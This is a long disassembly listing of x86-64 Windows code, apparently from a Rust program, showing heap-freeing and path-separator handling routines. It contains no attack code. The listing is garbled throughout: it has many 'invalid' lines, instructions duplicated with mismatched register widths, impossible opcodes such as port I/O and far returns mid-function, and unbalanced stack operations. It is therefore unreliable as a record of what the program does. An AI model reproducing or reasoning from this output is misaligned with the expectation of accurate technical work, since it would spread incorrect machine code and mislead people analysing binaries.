call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x30], r15
ror byte [rax - 0x77], 1
jge 0x140083680
invalid
mov qword [rbp - 0x28], rdi
mov dword [rbp - 0x28], edi
fmul dword [rax - 0x77]
mov qword [rbp - 0x20], rdi
jge 0x14008368c
loopne case.0x14007ecb4.206
mov byte [rbp - 0x18], 0
lea rcx, [rbp - 0x30]
mov rdx, r12
call 0x18d957eb3
ror byte [rcx + rcx*4 - 0x1e], 1
loop 0x140083705
mov r8, r14
mov eax, esi
call fcn.1400837f0
xor dword [rcx], eax
add byte [rax], al
invalid
add byte [rdi], cl
adc byte [rbp - 0x30], al
movups xmm0, xmmword [rbp - 0x30]
ror byte [r15], 1
ror byte [rdi], 1
movups xmm1, xmmword [rbp - 0x20]
adc byte [rbp - 0x20], cl
loopne 0x1400836d7
movups xmmword [rsi + 0x10], xmm1
adc dword [rsi + 0x10], ecx
movups xmmword [rsi], xmm0
cmp qword [rbp - 0x48], 0
invalid
cmp dword [rbp - 0x48], 0
je case.0x14007ecb4.220
mov rcx, qword [0x1400f91f8]
or eax, 0x75b1c
pop rbx
invalid
xor edx, edx
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop rsi
pop r15
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
jmp qword [sym.imp.kernel32.dll_HeapFree]
adc ebp, ecx
add al, byte [rax]
nop
add rsp, 0x70
invalid
jo 0x140083758
invalid
jo 0x140083758
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
add rax, 0x236
add eax, 0x236
add byte [rax], al
mov rcx, rax
mov ecx, eax
shr ecx, 0xf4
jmp 0x140083609
invalid
add rax, 0x238
add eax, 0x238
cmp byte [rdx], al
add byte [rax], al
mov rcx, rax
jmp 0x140083609
lea rax, str.library_std_src_syswindowsmod.rs
add eax, 0x673a6
cmpsb byte [rsi], byte [rdi]
jae case.0x1400826b1.96
add byte [rdx + 0x104], bh
mov edx, 0x104
add al, 1
add byte [rax], al
mov rcx, r8
mov r8, rax
call fcn.1400aa020
out 0x68, al
add al, byte [rax]
out 0x68, al
add al, byte [rax]
add byte [rdi], cl
or ebp, eax
pop rdi
retf
ud2
call fcn.1400402a0
sti
dec dword [rdi]
ud2
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
ud2
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
in al, dx
invalid
in al, dx
and byte [rax - 0x73], cl
push 0x70
lea rbp, [rdx + 0x70]
cmp qword [rbp - 0x28], 0
fadd dword [rax]
je 0x140083781
mov r8, qword [rbp - 0x30]
mov eax, dword [rbp - 0x30]
mov rcx, qword [0x1400f91f8]
pop rdx
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
int3
add al, byte [rax]
int3
nop
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
push r15
push r14
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x70]
push 0x70
jo 0x140083800
cmp qword [rbp - 0x48], 0
cmp dword [rbp - 0x48], 0
je 0x1400837d1
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp - 0x10]
call qword [sym.imp.kernel32.dll_HeapFree]
add al, byte [rax]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
int3
int3
int3
int3
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
add byte [rax - 0x39], cl
test eax, edx
add byte [rax], al
add dh, bh
invalid
invalid
invalid
in al, dx
pop rax
add dword [rax], eax
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x39], cl
test eax, edx
rol byte [rax], 1
add byte [rax], al
add dh, bh
invalid
add byte [rax], al
invalid
dec dword [rbp - 0x77]
invalid
mov r13, r8
mov ebp, eax
mov rbx, rcx
mov r15, qword [rcx]
mov r14, qword [rcx + 0x10]
adc byte [rbp - 0x7b], cl
test byte [rax - 0x77], 0x95
rol byte [rax], 0
add byte [rax], al
je 0x140083886
invalid
test r14, r14
mov qword [rbp + 0xc0], rdx
add byte [rax], al
add byte [rax], al
je 0x140083886
mov qword [rbp + 0xb8], r13
mov dword [rbp + 0xb8], ebp
mov r13, rbx
movzx eax, byte [r14 + r15 - 1]
cmp al, 0x2f
setne r12b
setne ah
xchg ebp, eax
invalid
cmp al, 0x5c
setne bl
lea rcx, [rbp + 0x60]
mov rdx, r15
mov r8, r14
call fcn.14007e4f0
movzx r9d, byte [rbp + 0x60]
movzx ecx, byte [rbp + 0x60]
mov dh, 0x4d
invalid
movzx eax, r9b
mov dh, 0x4d
invalid
movzx eax, cl
mov r11, qword [rbp + 0x70]
mov r10, qword [rbp + 0x80]
lea rcx, [0x1400f09f8]
rol dword [rsi], 1
add byte [rax + 0x63], cl
adc al, 0x81
rol dword [rsi], 1
add byte [rax + 0x63], cl
adc al, 0x81
add rdx, rcx
mov rcx, r15
stc
jmp rdx
lea rcx, [r11 + 4]
jmp 0x1400838c7
mov sil, 6
xor edi, edi
xor r12d, r12d
in al, 0xe9
jge 0x140083892
add byte [rax], al
in al, 0xe9
jge 0x140083892
add byte [rax], al
add byte [rcx - 0x73], cl
add qword [rbp - 0x7b], rcx
test r10, r10
cmove rcx, r10
invalid
invalid
lea rcx, [r10 + 1]
test r10, r10
cmove rcx, r10
add rcx, r11
add rcx, 8
ror dword [rax], 0xeb
invalid
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
mov ecx, 6
add byte [rax], al
add bl, ch
sbb dword [rcx - 0x73], ecx
lea rcx, [r10 + 1]
test r10, r10
cmove rcx, r10
invalid
invalid
jmp 0x1400838c7
lea rcx, [r10 + 1]
test r10, r10
cmove rcx, r10
add rcx, r11
add rcx, 2
add ecx, 2
jmp 0x1400838c7
mov ecx, 2
add byte [rax], al
cmp rcx, r14
ja 0x1400841f5
jne 0x1400838d6
invalid
movzx ecx, byte [rcx]
cmp cl, 0x2f
invalid
sete dl
cmp cl, 0x5c
invalid
sete dil
or dil, dl
and r12b, bl
mov rcx, qword [rbp + 0x61]
invalid
invalid
mov rdx, qword [rbp + 0x68]
mov qword [rbp + 7], rdx
push rbp
invalid
mov qword [rbp], rcx
invalid
push rbp
invalid
add byte [rax - 0x75], cl
mov rsi, qword [rbp + 0x78]
jne case.0x1400861b2.272
js 0x1400838bd
mov ecx, 6
mov eax, eax
lea rdx, [0x1400f0a14]
lea edx, [0x1400f0a14]
invalid
lea edx, [0x1400f0a14]
movsxd r8, dword [rdx + rax*4]
invalid
invalid
add r8, rdx
add eax, edx
mov qword [rbp - 0x20], r10
mov qword [rbp - 0x18], r11
mov dword [rbp - 0x18], ebx
mov dword [rbp - 0x18], ebx
pop rbp
call 0x1307dc26c
mov qword [rbp - 0x10], rsi
jmp r8
lea rdx, [r11 + 4]
test rdx, rdx
mov rbx, r13
je 0x140083973
lea rdx, [0x1400f0a30]
lea rdx, [0x1400f0a30]
add byte [rax + 0x63], cl
add al, 0x82
invalid
movsxd rax, dword [rdx + rax*4]
invalid
add rax, rdx
mov r13, qword [rbp + 0xb8]
jmp rax
lea rcx, [r11 + 4]
cmp rcx, r14
add al, 0x4c
add al, 0x4c
cmp ecx, esi
je case.0x14007e3f3.264
test byte [rcx - 0x15000000], ah
pop rcx
jmp case.0x14007daa2.268
lea rdx, [r10 + 1]
test r10, r10
cmove rdx, r10
add rdx, r11
invalid
fimul dword [rax - 0x7d]
ret 0x4802
invalid
invalid
add rdx, 2
add edx, 2
add cl, byte [rax - 0x7b]
test rdx, rdx
mov rbx, r13
ror byte [rcx + rcx*4 - 0x15], cl
jne 0x140083933
rol byte [rcx + rcx*4 - 0x32], 0x4c
mov ebp, dword [rbp + 0xb8]
lodsd eax, dword [rsi]
invalid
add byte [rax], al
add byte [rax], al
mov esi, r9d
mov r13, qword [rbp + 0xb8]
lodsd eax, dword [rsi]
mov eax, 0xe9000000
add byte [rax], al
invalid
add byte [rax], al
jmp 0x140083a09
xchg dword [rax], eax
add byte [rax], al
invalid
add byte [rcx - 0x73], cl
push rdx
lea rdx, [r10 + 1]
add dword [rbp - 0x7b], ecx
ror byte [rcx + 0xf], cl
ror byte [rcx + rax - 0x26], cl
ror byte [rcx + rax - 0x26], cl
test r10, r10
test edx, edx
cmove rdx, r10
add rdx, r11
add edx, ebx
ror byte [rcx + rax - 0x26], cl
add edx, ebx
add rdx, 8
test rdx, rdx
invalid
ret 0x4808
or byte [rax - 0x7b], cl
ror byte [rcx + rcx*4 - 0x15], cl
mov rbx, r13
jmp 0x140083a10
jne 0x140083933
xchg edi, eax
jmp 0x140083973
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov rbx, r13
jmp case.0x140083948.2
mov r13, qword [rbp + 0xb8]
mov ebp, dword [rbp + 0xb8]
lodsd eax, dword [rsi]
mov eax, 0x4c000000
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
cmp rcx, r14
je case.0x14007e3f3.264
mov esi, r9d
mov esi, ecx
invalid
jmp 0x140083a09
mov esi, r9d
invalid
mov rbx, r13
mov ebx, ebp
mov r13, qword [rbp + 0xb8]
mov ebp, dword [rbp + 0xb8]
lodsd eax, dword [rsi]
mov eax, 0xeb000000
jmp 0x140083a09
lea rax, [r10 + 1]
lea rax, [r10 + 1]
test r10, r10
cmove rax, r10
cmove eax, edx
ret 0x8d49
lea rcx, [r11 + rax]
or al, 3
add ecx, dword [rax - 0x7d]
add rcx, 2
add ecx, 2
rol dword [rdx], 0x4c
cmp rcx, r14
cmp ecx, esi
je case.0x14007e3f3.264
sbb ch, bl
ror byte [rcx - 0x73], cl
lea rax, [r10 + 1]
test r10, r10
cmove rax, r10
invalid
invalid
jmp case.0x14007daa2.268
lea rax, [r10 + 1]
lea eax, [rdx + 1]
test r10, r10
cmove rax, r10
lea rcx, [r11 + rax]
invalid
ret 0x8d49
add ecx, dword [rax - 0x7d]
add rcx, 8
ror dword [rax], 0x4c
cmp ecx, esi
int1
cmp rcx, r14
int1
jne case.0x14007daa2.268
xor eax, eax
mov esi, r9d
cmp r9b, 5
rol byte [rcx + rcx*4 - 0x32], 0x41
cmp cl, 5
invalid
movzx r12d, r12b
movzx esp, ah
mov dh, 0xe4
cmove r12d, eax
loopne 0x140083a52
mov rdx, qword [rbp + 0xc0]
mov edx, dword [rbp + 0xc0]
xchg ebp, eax
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x16], 1
mov edx, ebp
mov rcx, rdx
mov ecx, edx
mov rdx, r13
mov edx, ebp
call fcn.14007e3b0
test al, al
jne case.0x1400283bc.1594
invalid
jne 0x140083a68
lea rcx, [rbp + 0x60]
lea ecx, [rbp + 0x60]
invalid
invalid
mov rdx, qword [rbp + 0xc0]
mov edx, dword [rbp + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], cl
call 0x13fb2f919
call fcn.14007e4f0
movzx edx, byte [rbp + 0x60]
mov dh, 0x55
invalid
mov r8, r13
call fcn.14007e4f0
movzx edx, byte [rbp + 0x60]
mov dh, 0x55
invalid
mov rcx, qword [rbp + 0x70]
mov rax, qword [rbp + 0x80]
mov eax, dword [rbp + 0x80]
add byte [rax], 0
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
cld
lea r8, [0x1400f0a44]
lea eax, [0x1400f0a44]
add eax, 0x6cffc
iretd
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
invalid
jmp rdx
add rcx, 4
add ecx, 4
jmp case.0x14007edf4.238
xor al, 0x48
lea edx, [rax + 1]
push rax
invalid
lea rdx, [rax + 1]
push rax
add dword [rax - 0x7b], ecx
invalid
invalid
test rax, rax
test eax, eax
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
cmove rdx, rax
add rcx, rdx
ror byte [rax + 1], 1
add ecx, edx
ror dword [rax - 0x7d], 1
rol dword [rdx], 0xeb
add rcx, 2
add ecx, 2
add ch, bl
jmp case.0x14007edf4.238
and byte [rcx + 6], bh
mov ecx, 6
add bl, ch
sbb dword [rax - 0x73], ecx
invalid
invalid
jmp case.0x14007edf4.238
lea rdx, [rax + 1]
lea edx, [rax + 1]
push rax
add dword [rax - 0x7b], ecx
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
invalid
test rax, rax
test eax, eax
cmove rdx, rax
cmove edx, eax
add rcx, rdx
add ecx, edx
add rcx, 8
add ecx, 8
or bl, ch
jmp case.0x14007edf4.238
add eax, 0x2b9
mov ecx, 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rcx + rdi - 0x17], cl
cmp rcx, r13
jmp 0x1477ac1a1
ja 0x140084206
add byte [rax - 0x39], cl
adc byte [r8], al
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, ebx
mov qword [rbx + 0x10], 0
mov dword [rbx + 0x10], 0
mov rcx, rbx
mov rdx, qword [rbp + 0xc0]
mov edx, dword [rbp + 0xc0]
mov edx, dword [rbp + 0xc0]
xchg ebp, eax
rol byte [rax], 0
add byte [rbp - 0x77], cl
mov r8, r13
call fcn.140081ed0
in al, 0xff
invalid
call 0x13fec5d95
in al, 0xff
call qword [rax + 0x58c48148]
add dword [rax], eax
add byte [rax], al
pop rbx
pop rdi
nop
add rsp, 0x158
add esp, 0x158
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
cmp sil, 3
jae case.0x140074731.831
test r13, r13
je 0x140083d7c
add al, byte [rax]
add byte [rcx + rcx*4 + 0x7d], cl
movabs al, byte [0xb0758840a875894c]
mov byte [rbp - 0x50], dh
jne case.0x140080e18.213
mov qword [rbp - 0x58], r14
mov byte [rbp - 0x50], sil
jne case.0x140080e18.213
mov rax, qword [rbp]
mov rcx, qword [rbp + 7]
invalid
mov qword [rbp - 0x4f], rax
invalid
mov qword [rbp - 0x48], rcx
mov rax, qword [rbp - 0x18]
invalid
mov eax, 0xe8458b48
call 0x1004dc43e
mov qword [rbp - 0x40], rax
ror byte [rax - 0x75], 0x45
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x38], rax
enter 0xffffffffffff8b48, 0x45
loopne 0x140083b4b
mov dword [rbp - 0x30], eax
invalid
enter 0xffffffffffff8b48, 0x45
loopne 0x140083b4b
mov dword [rbp - 0x30], eax
shl byte [rsi - 0x39], 1
fadd dword [r8]
fadd dword [rax]
mov word [rbp - 0x28], 0x200
mov byte [rbp - 0x26], dil
mov byte [rbp - 0x26], bh
fadd dword [rax]
add al, byte [rax - 0x78]
jge 0x140083aea
mov byte [rbp - 0x26], bh
lea rcx, [rbp + 0x60]
lea ecx, [rbp + 0x60]
lea rdx, [rbp - 0x60]
lea edx, [rbp - 0x60]
push rbp
movabs al, byte [0x607d80ffffae83e8]
call fcn.14007e9a0
sub dword [rsi + 0x7d80ffff], 0x60
scasb al, byte [rdi]
invalid
cmp byte [rbp + 0x60], 0xa
jge case.0x140074731.840
or cl, byte [rax - 0x77]
mov qword [rbp - 8], rbx
pop rbp
clc
jne case.0x140074731.841
mov qword [rbp + 0xa0], 8
test dword [rax + 0x8000000], esp
add byte [rax], cl
add byte [rax], al
add byte [rdi], cl
invalid
push rdi
xorps xmm0, xmm0
ror byte [rdi], 0x11
movups xmmword [rbp + 0xa8], xmm0
test dword [rax - 0x17000000], ebp
add byte [rax], al
add cl, ch
jmp 0x140083ca3
invalid
lea rcx, [rbp + 0x60]
lea ecx, [rbp + 0x60]
mov rsi, qword [rbp + 0xc0]
mov rdx, rsi
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov r8, r13
mov r8, r13
mov eax, ebp
call fcn.14007e4f0
invalid
dec dword [rdi]
mov dh, 0x45
invalid
movzx eax, byte [rbp + 0x60]
mov rcx, qword [rbp + 0x70]
invalid
invalid
invalid
mov ecx, dword [rbp + 0x70]
jo 0x140083ba8
jo 0x140083ba8
mov rdx, qword [rbp + 0x80]
mov edx, dword [rbp + 0x80]
add byte [rax], 0
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
ror byte [rbp + rcx*4 + 0xd], 0xef
invalid
invalid
out dx, eax
invalid
movzx r8d, al
lea r9, [0x1400f0a60]
lea ecx, [0x1400f0a60]
lea ecx, [0x1400f0a60]
or eax, 0x6ceef
invalid
add byte [rdi + 0x63], cl
movsxd r10, dword [r9 + r8*4]
invalid
adc al, 0x81
add r10, r9
mov r8, r13
mov eax, ebp
mov eax, ebp
call 0x188eb3ac0
add ecx, 4
invalid
invalid
jmp r10
add rcx, 4
rol dword [rcx + rbp*8], 0x93
add al, 0xe9
jmp 0x140083d1a
xchg ebx, eax
add dword [rax], eax
add byte [rcx + rcx*4 - 0x12], cl
mov rsi, r13
mov rsi, r13
mov esi, ebp
movzx eax, byte [0x1400f92c0]
mov ecx, 0xe0
invalid
push rdi
invalid
add byte [rdx + 8], bh
mov edx, 8
add al, ch
call fcn.1400515f0
push rax
invalid
cld
dec dword [rax - 0x7b]
test rax, rax
je 0x14008422f
test rax, rax
je 0x14008422f
test byte [rsi + 0x49000006], al
invalid
add byte [rcx - 0x77], cl
mov r14, rax
mov esi, eax
invalid
mov rax, qword [rbp + 0x90]
add byte [rax], al
add byte [rcx - 0x77], cl
xor byte [rdi], r9b
invalid
mov qword [r14 + 0x30], rax
movups xmm0, xmmword [rbp + 0x60]
adc byte [rbp + 0x60], al
invalid
movups xmm1, xmmword [rbp + 0x70]
jo 0x140083bcf
jo 0x140083bcf
movups xmm2, xmmword [rbp + 0x80]
adc byte [rbp + 0x80], dl
movups xmmword [r14 + 0x20], xmm2
movups xmmword [rsi + 0x20], xmm2
movups xmmword [r14 + 0x10], xmm1
adc dword [rsi + 0x10], ecx
adc byte [rcx + 0xf], r8b
adc byte [rcx + 0xf], al
movups xmmword [r14], xmm0
adc dword [rsi], eax
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], 4
mov dword [rbp + 0x18], 4
adc byte [rax - 0x39], cl
sbb byte [r8 + rax], r8b
sbb byte [rax + rax], al
sbb byte [rax + rax], al
add byte [rax], al
mov qword [rbp + 0x20], 1
mov dword [rbp + 0x20], 1
and byte [r9], r8b
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rbp - 0x60]
adc byte [rbp - 0x60], al
movups xmm1, xmmword [rbp - 0x50]
movups xmm2, xmmword [rbp - 0x40]
movups xmm3, xmmword [rbp - 0x30]
adc byte [rbp - 0x30], bl
adc byte [rbp - 0x30], bl
ror byte [rdi], 1
movaps xmmword [rbp + 0x90], xmm3
sub dword [rbp + 0x90], ebx
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x80], edx
invalid
movaps xmmword [rbp + 0x80], xmm2
add byte [rdi], cl
sub dword [rbp + 0x70], ecx
movaps xmmword [rbp + 0x70], xmm1
movaps xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x28]
lea ecx, [rbp + 0x28]
invalid
lea ecx, [rbp + 0x28]
sub byte [r8 - 0x73], r9b
sub byte [rax - 0x73], cl
lea rdx, [rbp + 0x60]
lea edx, [rbp + 0x60]
push rbp
invalid
call fcn.14007e9a0
cmp byte [rbp + 0x28], 0xa
je 0x140083c8a
inc dword [rax + 0x740a287d]
imul eax, dword [rcx - 0x41], 1
mov r15d, 1
mov r15d, 1
add dword [rax], eax
add byte [rax], al
lea rdi, [rbp + 0x10]
lea edi, [rbp + 0x10]
adc byte [rbp + rcx*4 + 0x6d], cl
sub byte [rbp + rcx*4 + 0x65], cl
lea r12, [rbp + 0x60]
lea r13, [rbp + 0x28]
lea r12, [rbp + 0x60]
cmp r15, qword [rbp + 0x18]
cmp edi, dword [rbp + 0x18]
sbb byte [rbp + 0xf], dh
jne 0x140083c48
mov rcx, rdi
mov rdx, r15
mov edx, edi
mov edx, edi
cli
call fcn.14004dcc0
movabs al, byte [0x6b4910758b4cfffc]
invalid
mov r14, qword [rbp + 0x10]
mov esi, dword [rbp + 0x10]
imul rax, r15, 0x38
mov rcx, qword [rbp + 0x58]
cmp byte [rax - 0x75], cl
pop r8
mov qword [r14 + rax + 0x30], rcx
movups xmm0, xmmword [rbp + 0x28]
movups xmm1, xmmword [rbp + 0x38]
movups xmm2, xmmword [rbp + 0x48]
movups xmmword [r14 + rax + 0x20], xmm2
push rbp
movups xmmword [r14 + rax + 0x20], xmm2
movups xmmword [r14 + rax + 0x10], xmm1
movups xmmword [rsi + rax + 0x10], xmm1
movups xmmword [r14 + rax], xmm0
inc r15
inc edi
invalid
inc edi
mov qword [rbp + 0x20], r15
mov rcx, r13
mov rdx, r12
loop 0x140083c68
sbb al, 0xad
invalid
inc dword [rax + 0x750a287d]
invalid
loop 0x140083c68
sbb al, 0xad
invalid
inc dword [rax + 0x750a287d]
test eax, 0x1045100f
invalid
invalid
movups xmm0, xmmword [rbp + 0x10]
adc byte [r15], r9b
adc byte [rdi], cl
movaps xmmword [rbp + 0xa0], xmm0
sub dword [rbp + 0xa0], eax
test dword [rax + 0x48000000], esp
mov eax, dword [rbp + 0x20]
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x77], r9b
invalid
invalid
add byte [rax], al
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0xb0], eax
test dword [rax + 0x49000000], esi
mov ebp, esi
mov al, 0
add byte [rax], al
invalid
add byte [rcx - 0x77], cl
cmc
mov r13, rsi
mov byte [rbp + 0xcf], 0
iretd
add byte [rax], al
add byte [rax - 0x73], cl
sub byte [r8 - 0x75], r9b
sub byte [rax - 0x75], cl
lea rcx, [rbp + 0x28]
lea ecx, [rbp + 0x28]
sub byte [rax - 0x75], cl
mov rsi, qword [rbp + 0xc0]
mov ch, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov rdx, rsi
mov edx, esi
mov r8, r13
mov r8, r13
call fcn.14007e4f0
movzx edx, byte [rbp + 0x28]
test al, 0xff
dec dword [rdi]
mov dh, 0x55
sub byte [rax - 0x75], cl
mov rcx, qword [rbp + 0x38]
invalid
invalid
mov rcx, qword [rbp + 0x38]
mov ecx, dword [rbp + 0x38]
cmp byte [rax - 0x75], cl
mov rax, qword [rbp + 0x48]
mov eax, dword [rbp + 0x48]
lea r8, [0x1400f0ab0]
lea r8, [0x1400f0ab0]
lea r8, [0x1400f0ab0]
invalid
add byte [rbp + 0x63], cl
movsxd r9, dword [r8 + rdx*4]
or al, 0x90
add r9, r8
add ecx, eax
rol dword [rcx - 1], 0xe1
jmp r9
add rcx, 4
add ecx, 4
add al, 0xe9
lea eax, [rcx]
jmp 0x140083e73
add byte [rax], al
add byte [rbp + rcx*4 + 0x42], cl
lea r8, [rdx + 1]
lea eax, [rdx + 1]
add dword [rax - 0x7b], ecx
test rdx, rdx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
invalid
invalid
cmove r8, rdx
cmove eax, edx
ret 0x14c
add rcx, r8
add ecx, eax
add rcx, 8
add ecx, 8
jmp 0x140083d1a
and byte [rcx + 6], bh
mov ecx, 6
invalid
add byte [rax], al
add bl, ch
add byte [rax], al
jmp 0x140083d1a
sbb dword [rbp + rcx*4 + 0x42], ecx
lea r8, [rdx + 1]
add dword [rax - 0x7b], ecx
add dword [rax - 0x7b], ecx
test rdx, rdx
ror byte [rdi + rcx + 0x44], cl
cmove r8, rdx
cmove eax, edx
ret 0x14c
ret 0x14c
add rcx, r8
add ecx, eax
ror dword [rax - 0x7d], 0xc1
add ch, bl
invalid
add rcx, 2
rol dword [rdx], 0xeb
jmp 0x140083d1a
add eax, 0x2b9
mov ecx, 2
add byte [rax], al
add byte [rbp - 0x77], cl
call 0x14fd0666a
sub r8, rcx
invalid
mov r8, r13
mov eax, ebp
sub r8, rcx
enter 0xffffffffffff820f, 0xffffffffffffffe0
jb 0x140084206
invalid
loopne case.0x14002739f.1450
add al, 0
add byte [rax], al
add byte [rax + 3], cl
add rcx, qword [rbp + 0xc0]
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov rsi, rcx
invalid
test r8, r8
test eax, eax
je case.0x14007cc61.755
or eax, 0x830eb60f
movzx ecx, byte [rsi]
mov dh, 0xe
invalid
cmp ecx, 0x2f
stc
invalid
je 0x140083d46
cmp ecx, 0x5c
stc
pop rsp
je 0x140083d46
add al, 0x3c
add eax, 0x8d483673
jae 0x140083d7c
invalid
invalid
invalid
cmp al, 5
jae 0x140083d7c
invalid
lea rcx, ss:[rbp + 0x60]
lea rcx, [rbp + 0x60]
invalid
invalid
mov rdx, r15
mov edx, edi
cli
mov r8, r14
invalid
call fcn.14007e4f0
wait
cmpsd dword [rsi], dword [rdi]
invalid
inc dword [rdi + rcx - 0x4a]
invalid
movzx r8d, byte [rbp + 0x60]
mov dh, 0x45
invalid
mov rax, qword [rbp + 0x70]
mov eax, dword [rbp + 0x70]
jo case.0x1400270ad.1506
mov rdx, qword [rbp + 0x80]
mov edx, dword [rbp + 0x80]
add byte [rax], 0
add byte [rax - 0x73], cl
invalid
invalid
lea rcx, [0x1400f0a7c]
lea ecx, [0x1400f0a7c]
or eax, 0x6cd10
adc ch, cl
invalid
int 6
add byte [rsi + 0x63], cl
movsxd r9, dword [rcx + r8*4]
invalid
or al, 0x81
or dword [rcx + 1], 0xe1ff41c9
add r9, rcx
add ecx, ecx
leave
jmp r9
jmp rcx
loope case.0x140083948.33
lea rcx, [rax + 4]
lea ecx, [rax + 4]
add al, 0xeb
jmp case.0x140083948.34
push rdi
test r12b, r12b
test ah, ah
test ah, ah
je 0x140083a9c
test byte [rdi], dl
invalid
std
invalid
dec dword [rax - 0x73]
lea rdx, [0x1400e9142]
adc eax, 0x653b6
mov dh, 0x53
push rbx
invalid
add byte [rcx - 0x48], al
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
fld1
invalid
mov rcx, rbx
call fcn.140081ed0
jmp 0x140083a9c
std
cld
invalid
invalid
loope 0x140083d98
loope 0x140083d98
invalid
invalid
std
cld
invalid
dec dword [rax - 0x73]
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
lea rcx, [rdx + 1]
lea ecx, [rdx + 1]
add dword [rax - 0x7b], ecx
test rdx, rdx
test edx, edx
ror byte [rax + 0xf], cl
retf 0x148
retf 0x148
cmove rcx, rdx
cmove ecx, edx
retf 0x148
add rcx, rax
add ecx, eax
ror dword [rax - 0x7d], 0xc1
add ch, bl
invalid
add rcx, 2
add ecx, 2
jmp case.0x140083948.34
and byte [rcx + 6], bh
mov ecx, 6
invalid
add byte [rax], al
add byte [rax], al
add bl, ch
jmp case.0x140083948.34
sbb dword [rax - 0x73], ecx
lea rcx, [rdx + 1]
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
test rdx, rdx
test edx, edx
ror byte [rax + 0xf], cl
cmove rcx, rdx
add rcx, rax
add ecx, eax
retf 0x148
add ecx, eax
ror dword [rax - 0x7d], 0xc1
or bl, ch
add rcx, 8
jmp case.0x140083948.34
invalid
ror dword [rax], 0xeb
add eax, 0x2b9
mov ecx, 2
add byte [rcx + rdi - 0xf], cl
cmp rcx, r14
cmp ecx, esi
int1
ja 0x1400841f5
xchg dword [rcx], ebx
add al, 0
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], al
mov ecx, r8d
mov ecx, eax
lea r8, [0x1400f0a98]
movsxd rcx, dword [r8 + rcx*4]
invalid
or al, 0x88
invalid
mov dl, 0xcc
invalid
add byte [rcx + 0x63], cl
or al, 0x88
invalid
invalid
mov byte [rcx + rax - 0x3f], cl
add rcx, r8
jmp rcx
loope case.0x14002f576.1365
add rax, 4
add eax, 4
rol byte [rbx + rbp*8], 0x38
jmp 0x140083e2d
xor eax, eax
jmp 0x140083e36
cmp eax, 0x14a8d48
lea rcx, [rdx + 1]
test rdx, rdx
test edx, edx
cmove rcx, rdx
add rax, rcx
add eax, ecx
retf 0x148
retf 0x148
add eax, ecx
add rax, 2
add ch, bl
jmp 0x140083e2d
and byte [rax + 6], bh
mov eax, 6
add byte [rax], al
add bl, ch
jmp 0x140083e2d
sbb dword [rax - 0x73], ecx
add qword [rax - 0x7b], rcx
lea rcx, [rdx + 1]
test rdx, rdx
ror byte [rax + 0xf], cl
invalid
invalid
ror byte [rax + 0xf], cl
retf 0x148
retf 0x148
retf 0x148
add rax, rcx
add rax, 8
add eax, 8
add eax, 8
jmp 0x140083e2d
add eax, 0x2b8
mov eax, 2
add byte [rcx + 0x39], cl
invalid
cmp r14, rax
jb 0x140083a9c
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x10], eax
adc r9b, bpl
jmp 0x140083a9c
pop rbp
cld
invalid
lea rdx, [rax + 1]
test rax, rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
